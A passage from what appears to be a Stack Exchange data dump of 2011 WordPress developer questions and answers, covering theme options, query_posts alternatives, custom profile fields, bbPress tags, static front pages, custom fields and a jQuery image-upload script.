}&#xA;&#xA;header(&quot;Location: themes.php?page=functions.php&amp;amp;reset=true&quot;);&#xA;die;&#xA; }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;These values store in the system. If I go to my dashboard, then back to the options page. The saved values are still present. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My issue is when I reference these variables within my header.php, index.php, or footer.php, I cannot get the values to echo. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have the following PHP in the my header.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?&#xA;global $options;&#xA;     foreach ($options as $value) {&#xA;     if (get_settings( $value['id'] ) === FALSE) { $$value['id'] = $value['std']; } else { $$value['id'] = get_settings( $value['id'] ); }&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is how I'm referencing the variable in my footer.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Tel: &amp;lt;?php echo ($sleek_phone_number); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hopefully someone can tell me what I'm doing wrong&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any advise is much appreciated!&lt;/p&gt;&#xA;" OwnerUserId="6568" LastActivityDate="2011-06-28T17:32:33.250" Title="Calling variable set in functions.php" Tags="&lt;php&gt;&lt;functions&gt;&lt;theme-options&gt;&lt;variables&gt;" CommentCount="1" />
  <row Id="21341" PostTypeId="1" AcceptedAnswerId="21378" CreationDate="2011-06-28T17:48:21.470" Score="2" ViewCount="255" Body="&lt;p&gt;I just noticed today that &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/query_posts&quot; rel=&quot;nofollow&quot;&gt;the documentation for query_posts()&lt;/a&gt; mentions some &quot;disadvantages&quot; of using query_posts for altering the main Loop, notably: 'causes additional SQL queries'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This seems to imply that there's another way / a better way. Obviously there's get_posts() and WP_Query for secondary loops, but I don't see them as addressing the &quot;disadvantages&quot; listed in the Codex documentation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can see that by waiting until you're in the template to run query_posts, WordPress has already run a query once and this is now a second query that clobbers the first one (the first one being basically ignored). This definitely DOES sound inefficient (though perhaps not a big deal, who knows?)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is: is there an alternative to query_posts that does NOT add &quot;additional SQL queries&quot; or is the Codex documentation simply deceiving?&lt;/p&gt;&#xA;" OwnerUserId="3687" LastActivityDate="2011-06-29T10:53:21.473" Title="Alternative to query_posts for main loop?" Tags="&lt;query-posts&gt;&lt;codex&gt;&lt;documentation&gt;" AnswerCount="2" FavoriteCount="3" />
  <row Id="21342" PostTypeId="2" ParentId="21341" CreationDate="2011-06-28T17:59:01.380" Score="2" ViewCount="" Body="&lt;p&gt;I suppose alternative would be to use hooks to modify original query. However that is something &lt;strong&gt;much&lt;/strong&gt; more fragile and tricky to get right. Remember - those filters affect all &lt;code&gt;WP_Query&lt;/code&gt; instances and improperly applied logic will explode everything from front-end to admin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would advise against that unless you have very good understanding of query mechanics, stages when you have or have not conditional logic available.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are interested in this start by reading &lt;a href=&quot;http://codex.wordpress.org/Query_Overview&quot; rel=&quot;nofollow&quot;&gt;Query Overview&lt;/a&gt; and &lt;a href=&quot;http://codex.wordpress.org/Custom_Queries&quot; rel=&quot;nofollow&quot;&gt;Custom Queries&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-06-28T17:59:01.380" />
  <row Id="21343" PostTypeId="1" CreationDate="2011-06-28T18:10:22.997" Score="0" ViewCount="65" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Possible Duplicate:&lt;/strong&gt;&lt;br&gt;&#xA;  &lt;a href=&quot;http://wordpress.stackexchange.com/questions/4028/how-to-add-custom-form-fields-to-the-user-profile-page&quot;&gt;How To Add Custom Form Fields To The User Profile Page?&lt;/a&gt;  &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&#xA;&#xA;&lt;p&gt;As I read in a post, this is the way to add some profile fields in profile.php. I was wondering how can I add textareas like Bio ?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// CUSTOM USER PROFILE FIELDS&#xA;   function my_custom_userfields( $contactmethods ) {&#xA;&#xA;    $contactmethods['contact_phone_office']     = 'Office Phone';&#xA;    return $contactmethods;&#xA;   }&#xA;   add_filter('user_contactmethods','my_custom_userfields',10,1);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="4448" LastActivityDate="2011-06-28T18:10:22.997" ClosedDate="2011-08-25T19:56:19.350" Title="How to add textarea profile field?" Tags="&lt;profiles&gt;" CommentCount="1" />
  <row Id="21344" PostTypeId="2" ParentId="70" CreationDate="2011-06-28T18:20:13.467" Score="0" ViewCount="" Body="&lt;p&gt;I've created my my own contact form template, I create a page named contacts and use that template to show my contact form, this way I feel I have more control over it.&lt;/p&gt;&#xA;" OwnerUserId="4304" LastActivityDate="2011-06-28T18:20:13.467" />
  <row Id="21345" PostTypeId="1" CreationDate="2011-06-28T18:58:54.510" Score="1" ViewCount="31" Body="&lt;p&gt;The &lt;strong&gt;topic&lt;/strong&gt; custom post type:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    register_post_type( $this-&amp;gt;forum_post_type, $bbp_cpt['forum'] );&#xA;&#xA;    /** TOPICS ************************************************************/&#xA;&#xA;    // Topic labels&#xA;    $topic['labels'] = array(&#xA;        'name'               =&amp;gt; __( 'Topics',                   'bbpress' ),&#xA;        'singular_name'      =&amp;gt; __( 'Topic',                    'bbpress' ),&#xA;        'add_new'            =&amp;gt; __( 'New Topic',                'bbpress' ),&#xA;        'add_new_item'       =&amp;gt; __( 'Create New Topic',         'bbpress' ),&#xA;        'edit'               =&amp;gt; __( 'Edit',                     'bbpress' ),&#xA;        'edit_item'          =&amp;gt; __( 'Edit Topic',               'bbpress' ),&#xA;        'new_item'           =&amp;gt; __( 'New Topic',                'bbpress' ),&#xA;        'view'               =&amp;gt; __( 'View Topic',               'bbpress' ),&#xA;        'view_item'          =&amp;gt; __( 'View Topic',               'bbpress' ),&#xA;        'search_items'       =&amp;gt; __( 'Search Topics',            'bbpress' ),&#xA;        'not_found'          =&amp;gt; __( 'No topics found',          'bbpress' ),&#xA;        'not_found_in_trash' =&amp;gt; __( 'No topics found in Trash', 'bbpress' ),&#xA;        'parent_item_colon'  =&amp;gt; __( 'Forum:',                   'bbpress' )&#xA;    );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &lt;strong&gt;tag&lt;/strong&gt; custom taxonomy:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function register_taxonomies() {&#xA;&#xA;    // Topic tag labels&#xA;    $topic_tag['labels'] = array(&#xA;        'name'          =&amp;gt; __( 'Topic Tags',   'bbpress' ),&#xA;        'singular_name' =&amp;gt; __( 'Topic Tag',    'bbpress' ),&#xA;        'search_items'  =&amp;gt; __( 'Search Tags',  'bbpress' ),&#xA;        'popular_items' =&amp;gt; __( 'Popular Tags', 'bbpress' ),&#xA;        'all_items'     =&amp;gt; __( 'All Tags',     'bbpress' ),&#xA;        'edit_item'     =&amp;gt; __( 'Edit Tag',     'bbpress' ),&#xA;        'update_item'   =&amp;gt; __( 'Update Tag',   'bbpress' ),&#xA;        'add_new_item'  =&amp;gt; __( 'Add New Tag',  'bbpress' ),&#xA;        'new_item_name' =&amp;gt; __( 'New Tag Name', 'bbpress' )&#xA;    );&#xA;&#xA;    // Topic tag rewrite&#xA;    $topic_tag['rewrite'] = array(&#xA;        'slug'       =&amp;gt; $this-&amp;gt;topic_tag_slug,&#xA;        'with_front' =&amp;gt; false&#xA;    );&#xA;&#xA;    // Topic tag filter&#xA;    $bbp_tt = apply_filters( 'bbp_register_topic_taxonomy', array(&#xA;        'labels'                =&amp;gt; $topic_tag['labels'],&#xA;        'rewrite'               =&amp;gt; $topic_tag['rewrite'],&#xA;        'capabilities'          =&amp;gt; bbp_get_topic_tag_caps(),&#xA;        'update_count_callback' =&amp;gt; '_update_post_term_count',&#xA;        'query_var'             =&amp;gt; true,&#xA;        'show_tagcloud'         =&amp;gt; true,&#xA;        'hierarchical'          =&amp;gt; false,&#xA;        'public'                =&amp;gt; true,&#xA;        'show_ui'               =&amp;gt; true&#xA;    ) );&#xA;&#xA;    // Register the topic tag taxonomy&#xA;    register_taxonomy(&#xA;        $this-&amp;gt;topic_tag_id,    // The topic tag id&#xA;        $this-&amp;gt;topic_post_type, // The topic post type&#xA;        $bbp_tt&#xA;    );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I would like to list all (or most popular) tags of the custom post type topic.&#xA;Any suggestions?&lt;/p&gt;&#xA;" OwnerUserId="781" LastActivityDate="2011-06-28T18:58:54.510" Title="Listing tags from a custom post type" Tags="&lt;custom-post-types&gt;&lt;custom-taxonomy&gt;&lt;tags&gt;" />
  <row Id="21346" PostTypeId="1" AcceptedAnswerId="21348" CreationDate="2011-06-28T19:10:08.930" Score="0" ViewCount="39" Body="&lt;p&gt;I'm using front-page.php to generate a static frontpage for a Web site I'm working on. I can't seem to get Wordpress to display the blog posts on any other page. I tried creating a custom template to display blog posts, but it doesn't display any posts. Also, when I try to set the front-page as a static frontpage manually in the reading settings, it doesn't appear as an option. Help?&lt;/p&gt;&#xA;" OwnerUserId="2925" LastActivityDate="2011-06-28T21:28:45.827" Title="Using front-page.php need new blog page" Tags="&lt;custom-menus&gt;&lt;frontpage&gt;" AnswerCount="1" />
  <row Id="21347" PostTypeId="1" CreationDate="2011-06-28T19:16:38.427" Score="0" ViewCount="61" Body="&lt;p&gt;I'm trying to show a certain line, like tagline, in the home page post excerpt, so I put a custom field code in the &lt;code&gt;index.php&lt;/code&gt; file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It worked at first, then completely vanished. No matter what changes are made in the code, the value isn't showing up on  the home page. In the editor it works perfectly. I'm using Themeforest's &lt;a href=&quot;http://www.gallyapp.com/tf_themes/soon2_wp/&quot; rel=&quot;nofollow&quot;&gt;SOON theme&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;index.php&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;session_start();&#xA;&#xA;$pp_homepage_hide_slider = get_option( 'pp_homepage_hide_slider' );&#xA;&#xA;if ( isset( $_SESSION['pp_homepage_slider_style'] ) ) {&#xA;    $pp_homepage_slider_style = $_SESSION['pp_homepage_slider_style'];&#xA;} else {&#xA;    $pp_homepage_slider_style = get_option( 'pp_homepage_slider_style' );&#xA;}&#xA;&#xA;$pp_homepage_hide_blog = get_option( 'pp_homepage_hide_blog' );&#xA;&#xA;if ( empty( $pp_homepage_slider_style ) ) {&#xA;    $pp_homepage_slider_style = 'nivo_fade';&#xA;}&#xA;&#xA;$pp_slider_timer = get_option( 'pp_slider_timer' );&#xA;&#xA;if ( empty( $pp_slider_timer ) ) {&#xA;    $pp_slider_timer = 5;&#xA;}&#xA;&#xA;get_header();&#xA;&#xA;?&amp;gt;&#xA;&#xA;&amp;lt;input type=&quot;hidden&quot; id=&quot;slider_timer&quot; name=&quot;slider_timer&quot; value=&quot;&amp;lt;?php echo $pp_slider_timer; ?&amp;gt;&quot;/&amp;gt;&#xA;&#xA;&amp;lt;?php if ( ! empty( $pp_homepage_hide_slider ) ) { ?&amp;gt;&#xA;&#xA;    &amp;lt;div id=&quot;slider_wrapper&quot; class=&quot;&amp;lt;?php echo $pp_homepage_slider_style; ?&amp;gt;&quot;&amp;gt;&#xA;        &amp;lt;?php&#xA;            switch ( $pp_homepage_slider_style ) {&#xA;                case 'nivo_curtain':&#xA;                    include ( TEMPLATEPATH . &quot;/templates/template-slider-nivo-curtain.php&quot; );&#xA;                    break;&#xA;                case 'nivo_fade':&#xA;                    include ( TEMPLATEPATH . &quot;/templates/template-slider-nivo-fade.php&quot; );&#xA;                    break;&#xA;                case 'nivo_fold':&#xA;                    include ( TEMPLATEPATH . &quot;/templates/template-slider-nivo-fold.php&quot; );&#xA;                    break;&#xA;            }&#xA;        ?&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;?php } ?&amp;gt;&#xA;&#xA;&amp;lt;?php&#xA;&#xA;//Get latest portfolios&#xA;$args = array( 'numberposts' =&amp;gt; 4, 'orderby' =&amp;gt; 'date', 'order' =&amp;gt; 'DESC',&#xA;    'post_type' =&amp;gt; array( 'portfolios' ), );&#xA;$page_photo_arr = get_posts( $args );&#xA;&#xA;?&amp;gt;&#xA;&#xA;&amp;lt;?php if ( isset( $page_photo_arr ) &amp;amp;&amp;amp; ! empty( $page_photo_arr ) ) { ?&amp;gt;&#xA;&#xA;    &amp;lt;div class=&quot;home_portfolio&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;standard_wrapper&quot; style=&quot;padding-top:20px&quot;&amp;gt;&#xA;&#xA;        &amp;lt;?php foreach ( $page_photo_arr as $key =&amp;gt; $portfolio_item ) : ?&amp;gt;&#xA;&#xA;            &amp;lt;?php&#xA;                $image_url = '';&#xA;&#xA;                if ( has_post_thumbnail( $portfolio_item-&amp;gt;ID, 'large' ) ) {&#xA;                    $image_id = get_post_thumbnail_id( $portfolio_item-&amp;gt;ID );&#xA;                    $image_url = wp_get_attachment_image_src( $image_id, 'large', true );&#xA;                }&#xA;&#xA;                $permalink_url = get_permalink( $portfolio_item-&amp;gt;ID );&#xA;                $last_class = '';&#xA;                $line_break = '';&#xA;&#xA;                if ( ( $key + 1 ) % 4 == 0 ) {&#xA;                    $last_class = ' last';&#xA;                }&#xA;            ?&amp;gt;&#xA;&#xA;            &amp;lt;div class=&quot;one_fourth&amp;lt;?php echo $last_class ?&amp;gt;&quot;&amp;gt;&#xA;                &amp;lt;div class=&quot;below_shadow&quot;&amp;gt;&#xA;                    &amp;lt;a href=&quot;&amp;lt;?php echo $permalink_url; ?&amp;gt;&quot;&amp;gt;&amp;lt;img src=&quot;&amp;lt;?php echo $image_url[0] ?&amp;gt;&quot; alt=&quot;&quot; class=&quot;frame&quot;/&amp;gt;&amp;lt;/a&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;&#xA;        &amp;lt;?php endforeach; ?&amp;gt;&#xA;&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;?php } ?&amp;gt;&#xA;&#xA;&amp;lt;?php&#xA;&#xA;//Get home boxes&#xA;$args = array(&#xA;    'numberposts' =&amp;gt; 6,&#xA;    'orderby' =&amp;gt; 'date',&#xA;    'order' =&amp;gt; 'ASC',&#xA;    'post_type' =&amp;gt; 'home_boxes'&#xA;);&#xA;&#xA;$box_post_arr = get_posts( $args );&#xA;//pp_debug($box_post_arr);&#xA;&#xA;//Get latest blog posts&#xA;$args = array(&#xA;    'numberposts' =&amp;gt; 4,&#xA;    'orderby' =&amp;gt; 'date',&#xA;    'order' =&amp;gt; 'DESC',&#xA;    'post_type' =&amp;gt; 'post'&#xA;);&#xA;&#xA;$page_post_arr = get_posts( $args );&#xA;//pp_debug($page_post_arr);&#xA;&#xA;?&amp;gt;&#xA;&#xA;&amp;lt;?php if ( ! empty( $pp_homepage_hide_blog ) ) : ?&amp;gt;&#xA;&#xA;    &amp;lt;div id=&quot;content_wrapper&quot; class=&quot;shortbg&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;inner&quot;&amp;gt;&#xA;            &amp;lt;!-- Begin main content --&amp;gt;&#xA;            &amp;lt;div class=&quot;inner_wrapper&quot;&amp;gt;&#xA;                &amp;lt;br class=&quot;clear&quot;/&amp;gt;&#xA;                &amp;lt;?php if ( ! empty( $box_post_arr ) ): foreach ( $box_post_arr as $key =&amp;gt; $box_post ) : ?&amp;gt;&#xA;&#xA;                    &amp;lt;?php&#xA;                        $last_class = '';&#xA;                        if ( ( $key + 1 ) % 3 == 0 ) {&#xA;                            $last_class = ' last';&#xA;                        }&#xA;&#xA;                        $image_thumb = '';&#xA;                        $permalink_url = get_permalink( $box_post-&amp;gt;ID );&#xA;                    ?&amp;gt;&#xA;&#xA;                    &amp;lt;div&amp;gt;&#xA;                        &amp;lt;?php if ( has_post_thumbnail( $box_post-&amp;gt;ID, 'large' ) ) : ?&amp;gt;&#xA;&#xA;                            &amp;lt;?php&#xA;                                $image_id = get_post_thumbnail_id( $box_post-&amp;gt;ID );&#xA;                                $image_thumb = wp_get_attachment_image_src( $image_id, 'large', true );&#xA;                            ?&amp;gt;&#xA;&#xA;                            &amp;lt;img src=&quot;&amp;lt;?php echo $image_thumb[0]; ?&amp;gt;&quot; alt=&quot;&quot; class=&quot;alignleft&quot;/&amp;gt;&#xA;&#xA;                        &amp;lt;?php endif; ?&amp;gt;&#xA;&#xA;                        &amp;lt;div style=&quot;float: left; width: 620px;&quot;&amp;gt;&amp;lt;?php   echo $box_post-&amp;gt;post_content; ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;&#xA;                &amp;lt;?php endforeach; endif; ?&amp;gt;&#xA;&#xA;                &amp;lt;br class=&quot;clear&quot;/&amp;gt;&#xA;                &amp;lt;div class=&quot;sidebar_content&quot;&amp;gt;&#xA;                    &amp;lt;div class=&quot;post_wrapper&quot;&amp;gt;&#xA;                        &amp;lt;div class=&quot;post_border&quot;&amp;gt;&#xA;&#xA;                            &amp;lt;?php $permalink_url = get_permalink( $page_post_arr[0]-&amp;gt;ID ); ?&amp;gt;&#xA;                            &amp;lt;div class=&quot;post_header&quot;&amp;gt;&#xA;                                &amp;lt;h3 class=&quot;cufon&quot;&amp;gt;&#xA;                                    &amp;lt;a href=&quot;&amp;lt;?php echo $permalink_url; ?&amp;gt;&quot; title=&quot;&amp;lt;?php echo $page_post_arr[0]-&amp;gt;post_title; ?&amp;gt;&quot;&amp;gt;&#xA;                                        &amp;lt;?php echo $page_post_arr[0]-&amp;gt;post_title; ?&amp;gt;&#xA;                                    &amp;lt;/a&amp;gt;&#xA;                                &amp;lt;/h3&amp;gt;&#xA;                            &amp;lt;/div&amp;gt;&#xA;&#xA;                            &amp;lt;h4 class=&quot;tag&quot;&amp;gt;&amp;lt;?php echo get_post_meta( $post-&amp;gt;ID, 'tagline', true ); ?&amp;gt;&amp;lt;/h4&amp;gt;&#xA;&#xA;                            &amp;lt;?php&#xA;                                $image_thumb = '';&#xA;                                if ( has_post_thumbnail( $page_post_arr[0]-&amp;gt;ID, 'large' ) ) {&#xA;&#xA;                                    $image_id = get_post_thumbnail_id( $page_post_arr[0]-&amp;gt;ID );&#xA;                                    $image_thumb = wp_get_attachment_image_src( $image_id, 'large', true );&#xA;                            ?&amp;gt;&#xA;&#xA;                                    &amp;lt;br class=&quot;clear&quot;/&amp;gt;&#xA;                                    &amp;lt;img src=&quot;&amp;lt;?php echo get_bloginfo( 'stylesheet_directory' );?&amp;gt;/timthumb.php?src=&amp;lt;?php echo $image_thumb[0]; ?&amp;gt;&amp;amp;amp;h=300&amp;amp;amp;w=590&amp;amp;amp;zc=1&quot; alt=&quot;&quot; class=&quot;frame&quot;/&amp;gt;&#xA;&#xA;                            &amp;lt;?php } ?&amp;gt;&#xA;&#xA;                            &amp;lt;br/&amp;gt;&amp;lt;br/&amp;gt;&#xA;&#xA;                            &amp;lt;?php echo pp_substr( strip_tags( strip_shortcodes( $page_post_arr[0]-&amp;gt;post_content ) ), 500 ); ?&amp;gt;&#xA;&#xA;                            &amp;lt;br/&amp;gt;&amp;lt;br/&amp;gt;&#xA;                            &amp;lt;a class=&quot;button&quot; href=&quot;&amp;lt;?php echo $permalink_url; ?&amp;gt;&quot;&amp;gt;Read More&amp;lt;/a&amp;gt;&#xA;&#xA;                        &amp;lt;/div&amp;gt;&#xA;&#xA;                        &amp;lt;div style=&quot;float: left; margin-top: 25px; width: 250px;&quot;&amp;gt;&#xA;                            &amp;lt;img src=&quot;&amp;lt;?php echo str_replace( 'style.css', 'images/logo_footer.png', bloginfo( 'stylesheet_url' ) ); ?&amp;gt;&quot; alt=&quot;&quot; /&amp;gt;&#xA;                        &amp;lt;/div&amp;gt;&#xA;&#xA;                        &amp;lt;div style=&quot;float:left; width:250px; margin-left:20px; margin-top:25px;&quot;&amp;gt;&#xA;                            &amp;lt;p style=&quot;color:#816818;line-height:16px&quot;&amp;gt;chiconthecheap@gmail.com&amp;lt;/p&amp;gt;&#xA;                            &amp;lt;p style=&quot;color:#816818;line-height:16px&quot;&amp;gt;941-726-1560&amp;lt;/p&amp;gt;&#xA;                            &amp;lt;p style=&quot;color:#816818;line-height:16px&quot;&amp;gt;242 South Washignton Boulevard #118&amp;lt;/p&amp;gt;&#xA;                            &amp;lt;p style=&quot;color:#816818;line-height:16px&quot;&amp;gt;Sarasota, Florida 34236&amp;lt;/p&amp;gt;&#xA;                            &amp;lt;p style=&quot;color:#816818;line-height:16px&quot;&amp;gt;Interior Designers for Sarasota, Lakewood     Ranch, Bradenton, Palmer Ranch, and Venice&amp;lt;/p&amp;gt;&#xA;                        &amp;lt;/div&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;&#xA;                &amp;lt;div class=&quot;sidebar_wrapper&quot;&amp;gt;&#xA;                    &amp;lt;div class=&quot;sidebar_top&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;                    &amp;lt;div class=&quot;sidebar&quot;&amp;gt;&#xA;                        &amp;lt;div class=&quot;content &quot;&amp;gt;&#xA;                            &amp;lt;h6 class=&quot;cufon&quot;&amp;gt;Recent Posts&amp;lt;/h6&amp;gt;&amp;lt;br/&amp;gt;&#xA;                            &amp;lt;?php if ( count( $page_post_arr ) &amp;gt; 1 ) : foreach ( $page_post_arr as $key =&amp;gt; $page_post ) : if ( $key &amp;lt; 1 ) continue; ?&amp;gt;&#xA;&#xA;                                &amp;lt;?php $permalink_url = get_permalink( $page_post-&amp;gt;ID ); ?&amp;gt;&#xA;                                &amp;lt;div style=&quot;float:left;&quot;&amp;gt;&#xA;&#xA;                                    &amp;lt;h5 class=&quot;post_headline&quot;&amp;gt;&#xA;                                        &amp;lt;a href=&quot;&amp;lt;?php echo $permalink_url; ?&amp;gt;&quot;&amp;gt;&amp;lt;?php echo $page_post-&amp;gt;post_title; ?&amp;gt;&amp;lt;/a&amp;gt;&#xA;                                    &amp;lt;/h5&amp;gt;&#xA;&#xA;                                    &amp;lt;br/&amp;gt;                                       &#xA;                                    &amp;lt;h6 class=&quot;post_tag&quot;&amp;gt;&amp;lt;?php echo get_post_meta( $post-&amp;gt;ID, 'post_head_tag', true ); ?&amp;gt;&amp;lt;/h6&amp;gt;&#xA;&#xA;                                    &amp;lt;?php&#xA;                                        $image_thumb = '';&#xA;                                        if ( has_post_thumbnail( $page_post-&amp;gt;ID, 'large' ) ) {&#xA;                                            $image_id = get_post_thumbnail_id( $page_post-&amp;gt;ID );&#xA;                                            $image_thumb = wp_get_attachment_image_src( $image_id, 'large', true );&#xA;                                    ?&amp;gt;&#xA;&#xA;                                            &amp;lt;img src=&quot;&amp;lt;?php echo get_bloginfo( 'stylesheet_directory' ); ?&amp;gt;/timthumb.php?src=&amp;lt;?php echo $image_thumb[0]; ?&amp;gt;&amp;amp;amp;h=150&amp;amp;amp;w=250&amp;amp;amp;zc=1&quot; alt=&quot;&quot; class=&quot;frame alignleft&quot;/&amp;gt;&#xA;&#xA;                                    &amp;lt;?php } ?&amp;gt;&#xA;&#xA;                                    &amp;lt;br/&amp;gt;&#xA;                                    &amp;lt;?php echo pp_substr( strip_tags( strip_shortcodes( $page_post-&amp;gt;post_content ) ), 150 ); ?&amp;gt;&#xA;&#xA;                                &amp;lt;/div&amp;gt;&#xA;&#xA;                                &amp;lt;br class=&quot;clear&quot;/&amp;gt;&amp;lt;br/&amp;gt;&#xA;&#xA;                            &amp;lt;?php endforeach; endif; ?&amp;gt;&#xA;                        &amp;lt;/div&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;&#xA;                    &amp;lt;br class=&quot;clear&quot;/&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;&#xA;        &amp;lt;br class=&quot;clear&quot;/&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;?php endif; // ! empty( $pp_homepage_hide_blog ) ?&amp;gt;&#xA;&#xA;&amp;lt;?php get_footer(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5776" LastEditorUserId="1685" LastEditorDisplayName="" LastEditDate="2011-06-28T20:34:47.693" LastActivityDate="2011-06-28T20:34:47.693" Title="Custom field is not showing up" Tags="&lt;theme-development&gt;&lt;custom-field&gt;" CommentCount="8" />
  <row Id="21348" PostTypeId="2" ParentId="21346" CreationDate="2011-06-28T19:18:55.047" Score="1" ViewCount="" Body="&lt;p&gt;To use a static Front Page, you need to do the following:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Create two &lt;em&gt;static Pages&lt;/em&gt;, one for your front page content, and one for your blog posts index; their names are entirely arbitrary, but for our purposes, let's call them &quot;Front Page&quot; and &quot;Blog&quot;&lt;/li&gt;&#xA;&lt;li&gt;Go to &lt;code&gt;Dashboard -&amp;gt; Settings -&amp;gt; Reading&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Set &quot;Front Page Displays&quot; to &quot;static page&quot;&lt;/li&gt;&#xA;&lt;li&gt;In the dropdown lists below, set &quot;front page&quot; to &quot;Front Page&quot;, and &quot;posts page&quot; to &quot;Blog&quot;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Now, for some explanation:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;WordPress will use your &lt;code&gt;front-page.php&lt;/code&gt; template file when rendering your site front page, whether the front page is set to display blog posts or a static Page.&lt;/li&gt;&#xA;&lt;li&gt;If you want to customize your blog posts index, use the &lt;code&gt;home.php&lt;/code&gt; template, which will be used when a &lt;em&gt;static Page&lt;/em&gt; is used to display blog posts, or when the &lt;em&gt;front page&lt;/em&gt; is set to display blog posts &lt;em&gt;if no &lt;code&gt;front-page.php&lt;/code&gt; template file exists&lt;/em&gt;.&lt;/li&gt;&#xA;&lt;li&gt;If neither of these two template files exist, then WordPress will fall back to:&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;page.php&lt;/code&gt;, for a static front page, or for blog posts if set to display on a &lt;em&gt;static Page&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;index.php&lt;/code&gt; in all other cases&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If you still need some clarification, see the &lt;a href=&quot;http://codex.wordpress.org/Template_Hierarchy&quot; rel=&quot;nofollow&quot;&gt;Codex entry for Template Hierarchy&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastEditorUserId="3966" LastEditorDisplayName="" LastEditDate="2011-06-28T21:28:45.827" LastActivityDate="2011-06-28T21:28:45.827" />
  <row Id="21351" PostTypeId="2" ParentId="20317" CreationDate="2011-06-28T20:57:45.530" Score="0" ViewCount="" Body="&lt;p&gt;I'm having this exact same issue! The default permalinks work fine, but when I revert to my custom structure - it breaks. No idea where to turn, a friend of mine noticed this, so I don't even know how long it's been broken. &lt;/p&gt;&#xA;" OwnerUserId="6572" LastActivityDate="2011-06-28T20:57:45.530" />
  <row Id="21352" PostTypeId="1" AcceptedAnswerId="21482" CreationDate="2011-06-28T21:00:31.503" Score="0" ViewCount="97" Body="&lt;p&gt;Tearing my hair out a little bit here! I'm trying to create multiple image-selection boxes so users can upload as many images as they like to the species profile they've created.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using the following code in a .js file:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;jQuery(document).ready(function() {&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    var i = 2;&#xA;&#xA;    jQuery('a#add_media').click(function() {&#xA;        input_code = '&amp;lt;p&amp;gt;' +&#xA;            '&amp;lt;input id=&quot;upload_image-' + i + '&quot; type=&quot;text&quot; size=&quot;36&quot; name=&quot;upload_image&quot; value=&quot;&quot; /&amp;gt;' +&#xA;            '&amp;lt;input id=&quot;upload_image_button-' + i + '&quot; type=&quot;button&quot; value=&quot;Upload Image&quot; /&amp;gt;' +&#xA;            '&amp;lt;/p&amp;gt;';&#xA;        jQuery(input_code).appendTo('#upload_wrapper');&#xA;        i++;&#xA;    });&#xA;&#xA;    jQuery('[id^=&quot;upload_image_button&quot;]').click(function() {&#xA;        str = jQuery(this).attr('id');&#xA;        substring = str.substring(str.length, str.length - 1);&#xA;        id_to_pass = 'upload_image-' + substring;&#xA;        alert(id_to_pass);&#xA;        tb_show('', 'media-upload.php?type=image&amp;amp;amp;TB_iframe=true');&#xA;        return false;&#xA;    });&#xA;&#xA;    window.send_to_editor = function(html) {&#xA;        imgurl = 